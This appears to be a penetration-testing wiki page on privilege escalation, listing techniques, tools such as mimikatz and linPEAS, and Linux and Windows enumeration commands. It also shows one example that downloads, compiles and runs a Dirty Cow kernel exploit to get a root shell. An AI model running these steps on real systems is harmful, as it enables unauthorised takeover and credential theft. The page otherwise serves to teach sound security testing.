Privilege Escalation

Privilege Escalation

Privilege escalation is the process of gaining higher-level permissions or access within a system after an initial foothold has been established. It plays a critical role in post-exploitation, allowing an attacker to move from a limited user account to administrative or root-level access — often enabling lateral movement, persistence, or full system compromise.

Privilege escalation is typically divided into two categories: *vertical escalation* (gaining higher privileges) and *horizontal escalation* (gaining access to resources or accounts of equal privilege).

Privilege escalation is rarely a one-step action — it follows a structured process:

• Collect – Perform thorough enumeration across the system.
• Process – Organize and analyze the data to identify promising leads.
• Search – Identify known vulnerabilities and locate suitable exploit code.
• Adapt – Customize the exploit to match the specific environment.
• Try – Execute and iterate; exploitation often requires trial and error.

Operational Context

Privilege escalation typically follows successful Initial Access, especially when the initial compromise grants access only to limited user accounts.

This phase is crucial for:

• Achieving administrative control (root, SYSTEM)
• Enabling credential extraction and lateral movement
• Bypassing sandboxed or containerized environments
• Establishing persistence mechanisms (e.g., registry, startup tasks)

Vertical Privilege Escalation

Vertical escalation involves moving from a low-privileged account (e.g., www-data, local user) to a higher-privileged one (e.g., Administrator, SYSTEM, or root).

Common Techniques

• Exploiting kernel or driver vulnerabilities
• Abusing misconfigured SUID/SGID binaries (Linux)
• Misusing weak or world-writable service files
• Leveraging unquoted service paths (Windows)
• DLL hijacking or service misconfiguration
• Stealing credentials from memory or config files
• Abusing scheduled tasks or cron jobs
• Exploiting insecure file permissions or ownership
• Leveraging token impersonation or privilege tokens (Windows)
• Dumping and cracking password hashes
• Abusing Linux capabilities (e.g., cap_sys_admin)
• Escaping weakly isolated Docker or LXC containers
• Exploiting insecure ACLs or lack of integrity controls

Tools

• linPEAS (automated privilege escalation enumeration on Linux)
• winPEAS (automated privilege escalation enumeration on Windows)
• Seatbelt (Windows enumeration tool focused on privilege escalation)
• PowerUp (PowerShell tool for Windows privilege escalation)
• Watson (detects privilege escalation vectors on Windows)
• BeRoot (privilege escalation auditor for Linux, MacOS, and Windows)
• Linux Exploit Suggester (suggests kernel exploits)
• Windows Exploit Suggester (suggests local exploits for Windows)
• g0tmi1k's privesc checklist (manual enumeration and exploitation list)

Automated Exploitation Frameworks

• Metasploit (post modules for local privesc on Windows and Linux)
• Exploit-DB SearchSploit (search for local exploits by kernel or OS version)
• Evil-WinRM (post-exploitation over WinRM)

Horizontal Privilege Escalation

Horizontal escalation involves accessing other accounts, sessions, or resources at the same privilege level, typically through impersonation, session hijacking, or misconfigured file access.

Common Techniques

• Reading other users’ sensitive files due to improper permissions
• Accessing SSH keys, config files, or tokens
• Hijacking user sessions (e.g., TTY snooping or credential reuse)
• Exploiting insecure file-sharing configurations (e.g., SMB shares)
• Abuse of API tokens or database credentials found in cleartext

Tools

• pspy (monitors Linux processes to detect privilege-related activity)
• ls -la /home/ (manual check for exposed user data)
• ssh-agent hijacking scripts
• procmon (process monitor for live file and registry activity on Windows)
• mimikatz (extracts passwords, hashes, and tokens from memory)

Enumeration Checklists

Linux Enumeration Commands

Purpose	Command	Potential Use in Privilege Escalation
SUID/SGID binaries	find / -perm -4000 2>/dev/null	May reveal misconfigured binaries that can be exploited for privilege escalation.
Kernel version	uname -a	Identifying vulnerable kernel versions that have known local privilege escalation exploits.
Environment variables	env	May expose sensitive paths or misconfigured variables usable in custom script execution.
Running processes	ps aux	Reveals running services or scripts running as root; useful for process injection or misconfigurations.
Installed packages (Debian)	dpkg -l	Can identify vulnerable software versions or unintended package installs.
Installed packages (Red Hat)	rpm -qa	Same as above, but for RPM-based systems.
Writable directories	find / -writable 2>/dev/null	Writable locations may allow backdoor placement, script replacement, or abuse in cron jobs.
Cron jobs	cat /etc/crontab	Look for jobs running as root or referencing writable scripts.
User info	cat /etc/passwd	Useful for identifying users, shell access, and potential privilege chaining.
Group info	cat /etc/group	Can show membership in sensitive groups like `sudo`, `docker`, or `adm`.
OS version info (Generic)	cat /etc/issue	Helps fingerprint system for targeted exploits.
OS version info (All common release files)	cat /etc/*-release	Same purpose — confirms distro and version for exploit matching.
OS version (Debian based)	cat /etc/lsb-release	Specifically useful for identifying Ubuntu/Debian versions.
OS version (Red Hat based)	cat /etc/redhat-release	Same, but for RHEL/CentOS systems.
Kernel version & architecture	cat /proc/version # Shows detailed kernel version and build info uname -a # Displays all system info including kernel name and architecture uname -mrs # Prints kernel name, version, and hardware name rpm -q kernel # Lists installed kernel packages (RPM-based systems) dmesg | grep Linux # Extracts kernel-related boot messages ls /boot | grep vmlinuz- # Lists available kernel images in /boot || Used to identify kernel-specific vulnerabilities and tailor exploits to system architecture.

Windows Enumeration Commands

Purpose	Command
Whoami and privileges	whoami /priv
Local groups	net localgroup administrators
Services (CMD)	sc query
Services (PowerShell)	Get-Service
Startup registry keys	reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled tasks	schtasks /query
Installed programs	wmic product get name
Environment variables	set
File permissions (CMD)	icacls
File permissions (Sysinternals)	accesschk

Example: Local Kernel Exploit (Linux)

# Download and compile local privilege escalation exploit (example: Dirty Cow variant)
wget https://www.exploit-db.com/download/40839 -O exploit.c
gcc exploit.c -o exploit
./exploit

# Output: spawns root shell if successful

Websites & References

• GTFOBins (trusted repo of SUID/privilege escalation via Linux binaries)
• LOLBAS (Living Off The Land Binaries and Scripts for Windows privilege escalation)
• hacktricks.xyz (comprehensive privilege escalation techniques for Linux and Windows)
• PEASS-ng GitHub (official PEAS suite repository)
• FuzzySecurity Windows Privesc Guide
• rebootuser's Linux privesc cheat sheet

See Also

• Initial Access
• Linux Post-Exploitation
• Windows Post-Exploitation
• Persistence
• Credential Dumping
• Exploitation Tools